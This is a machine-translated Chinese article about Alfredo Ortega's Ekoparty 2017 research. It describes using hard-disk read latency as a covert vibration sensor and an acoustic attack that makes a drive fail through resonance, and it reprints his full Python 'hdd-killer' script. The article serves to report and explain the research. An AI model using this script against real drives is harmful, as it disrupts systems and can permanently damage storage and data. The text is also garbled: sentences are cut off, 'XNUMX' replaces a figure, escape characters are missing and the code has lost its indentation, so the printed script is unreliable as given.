在布宜諾斯艾利斯舉行的 Ekoparty 2017 電腦安全會議上,阿根廷駭客 Alfredo Ortega 展示了一項非常有趣的開發成果——一種無需使用麥克風即可秘密竊聽場所的系統。 聲音
HDD主要拾取高強度低頻聲音、腳步聲和其他振動。 儘管科學家還無法辨識人類的語音
聲音是空氣或其他介質的振動。 人類透過耳膜感知它們,耳膜將振動傳遞到內耳。 麥克風的設計大致類似於耳朵——這裡的振動也由薄膜記錄,從而激發電脈衝。 當然,硬碟也會因周圍空氣的波動而受到微小振動的影響。 這甚至從硬碟的技術特性就可以知道:製造商通常會註明最大允許振動級別,而硬碟本身通常會嘗試將其放置在由橡膠或其他絕緣材料製成的防振容器中。 由此很容易得出結論,可以使用 HDD 來錄製聲音。 剩下的就是弄清楚如何做。
Alfredo Ortega 提出了一種獨特版本的旁路攻擊,即時間攻擊。 這種攻擊基於這樣的假設:根據給定的輸入數據,在不同時間對設備執行不同的操作。 在這種情況下,「輸入資料」是讀取頭和硬碟片的振動,它與環境的振動(即聲音)相關。 因此,透過測量計算時間並對數據進行統計分析,可以測量磁頭/盤片的振動,從而測量介質的振動。 讀取資料的延遲越長,硬碟振動越強,因此聲音越大。
如何測量硬碟振動? 很簡單:只需運行系統調用 read ()
- 並記錄完成所需的時間。 現代作業系統允許您以奈秒精度讀取系統調用的時間。
從磁區讀取資訊的速度取決於磁頭和碟片的位置,這與 HDD 外殼的振動有關。 就這樣。
使用簡單的 Kscope 實用程式進行統計分析。 正如他們所說,一切巧妙的事情都很簡單。
Kscope 實用程式(stat() 系統呼叫)
Kscope 是一個小實用程序,用於視覺化系統呼叫執行時間的微小差異。 來源
在單獨的儲存庫中 read ()
.
使用HDD錄音的示範、Kscope實用程式的操作
當然,無法透過這種方式理解語音,但是HDD非常適合作為振動感測器。 例如,如果一個人穿著硬鞋或赤腳進入有計算機的房間,您可以記錄(可能,如果攻擊者穿著軟運動鞋或地板上有厚地毯,硬碟將無法記錄振動 -這值得檢查)。 電腦能夠記錄玻璃破碎或其他聲音強度較大的事件。 也就是說,硬碟可以充當一種未經授權的入侵偵測系統。
硬碟殺手
順便說一句,類似的技術可用於停用硬碟。 只是在這裡我們沒有消除 HDD 中的振盪,相反,我們產生了饋送到 HDD 的振盪。 如果您以與 HDD 頻率共振的頻率從揚聲器播放聲音,系統很快就會因 I/O 錯誤而關閉裝置(Linux 核心在 120 秒後完全關閉 HDD)。 硬碟本身可能會遭受不可逆轉的損壞。
Linux 核心透過 Edifier r120u USB 揚聲器的揚聲器發出共振頻率的聲音 19 秒後關閉硬碟。 揚聲器以大約四分之一的功率打開(小於100 mW),位於距離HDD 20厘米的位置,對準桌子以增強振動。 框架來自
奇怪的是,這種對硬碟的「攻擊」有時在日常生活中完全是偶然發生的。 例如,2016年10月,ING銀行資料中心在消防演習後被迫暫停營運XNUMX小時。
人類對資料中心硬碟尖叫的示範。 延遲測量
為了產生共鳴聲音,Alfredo Ortega 編寫了一個名為的 Python 腳本
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()
來源: www.habr.com